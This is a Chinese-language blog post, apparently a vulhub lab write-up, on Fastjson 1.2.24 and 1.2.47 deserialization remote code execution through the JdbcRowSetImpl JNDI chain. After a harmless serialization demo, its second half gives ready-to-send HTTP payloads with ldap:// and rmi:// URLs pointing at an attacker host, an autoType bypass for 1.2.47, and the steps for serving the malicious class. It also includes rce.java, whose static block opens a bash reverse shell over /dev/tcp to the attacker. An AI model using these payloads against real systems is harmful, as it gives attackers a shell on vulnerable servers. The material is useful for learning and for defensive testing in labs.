简介

Fastjson是一个Java库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。复现的环境使用的是vulhub的环境,在1.2.24fastjson的反序列化利用中有两条链

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl

因为第一条链儿利用时要求变量为private的在反序列化时要加上Feature.SupportNonPublicField参数,所以在利用上来说条件有限制,所以在真实环境的利用还是以第二条链儿为主。

Fastjson的使用

在fastjson中是通过toJSONString和JSON.parseObject/parse实现序列化和反序列化

  • toJSONString()

    将对象(字段)转换为JSON字符串,包括必要的字符串转义。

  • parseObject()

    调用json,将json内容转化为javabean

  • JSON.parse()

    调用json,将json内容转化为javabean,在使用的调用方法不一样


多了一步处理JSONObject的过程

创建maven项目需要使用阿里的仓库,需要配置一下

该demo的pom.xml为

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Fastjson1.2.24_RCE</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.5.1</version>
        </dependency>
    
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-simple</artifactId>
            <version>1.7.25</version>
            <scope>test</scope>
        </dependency>
    
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.25</version>
        </dependency>
        <dependency>
            <groupId>com.alipay.sdk</groupId>
            <artifactId>alipay-sdk-java</artifactId>
            <version>4.17.9.ALL</version>
        </dependency>
    
    </dependencies>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>1.8</java.version>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>

</project>

Student.java

package fastjson;

public class Student {
    private String name;
    private int age;
    public Student() {
        System.out.println("constructed function");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

}

Seriallizer.java序列化和反序列化都放一起了

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Serializer {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("Ggoodstudy");
        student.setAge(24);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);


        System.out.println("----------------------------------------------------------");
        String jsonstring1 =JSON.toJSONString(student);
        System.out.println(jsonstring1);
        System.out.println("----------------------------------------------------------");

        String json01 = "{\"age\":\"24\",\"name\":\"Ggoodstudy\"}";
        System.out.println(JSON.parse(json01));
        System.out.println("----------------------------------------------------------");
        System.out.println(JSON.parseObject(json01));
        System.out.println("----------------------------------------------------------");
        String json02 = "{\"@type\":\"fastjson.Student\",\"age\":\"24\",\"name\":\"Ggoodstudy\"}";
        System.out.println(JSON.parse(json02));
        System.out.println("----------------------------------------------------------");
        System.out.println(JSON.parseObject(json02));
    }
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,并且调用其方法。

可见输出结果,在parseObjectparse将json转换内容没有区别,调用的方法不一样

而fastjson反序列化就是因为在parseObject同时触发了set和get方法,因为这种autoType造成的,所以在JdbcRowSetImpl 利用链儿中@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型。所以POC的json格式基本确定了。

又因为dataSourceName值为RMI服务中心绑定的服务所以这里使用到了JNDI注入,那么JNDI注入的限制条件就是fastjsonJdbcRowSetImpl 链儿的限制条件,详细的JNDI注入看上篇文章。

Fastjsonn反序列化复现以及JdbcRowSetImpl 链儿利用

ubuntu 16.04 vulhub

fastjson 1.2.24 RCE

cd vulhub-master/fastjson/1.2.24-rce

docker-compose up -d

构造payload

POST / HTTP/1.1
Host: 10.10.10.36:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 167

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.10.10.115:1389/rce",
        "autoCommit":true
    }
}

编译恶意类

javac rce.java

python起web服务

python3 -m http.server 8888

vps起监听

nc -lvvp 7777

发送payload请求,实现rce

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

cd vulhub-master/fastjson//1.2.47-rce

docker-compose up -d

恶意代码类
rce.java

import java.lang.Runtime;
import java.lang.Process;

public class rce {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.10.115/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

构造payload

POST / HTTP/1.1
Host: 10.10.10.36:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.10.10.115/rce",
        "autoCommit":true
    }
}

发送payload

得到shell

通过ldap实现jndi注入,达到序列化的目的


只需要将payload中的协议更改为ldap协议即可,将服务方式改为LDAP服务。

参考链接

    1 年 后
    说点什么吧...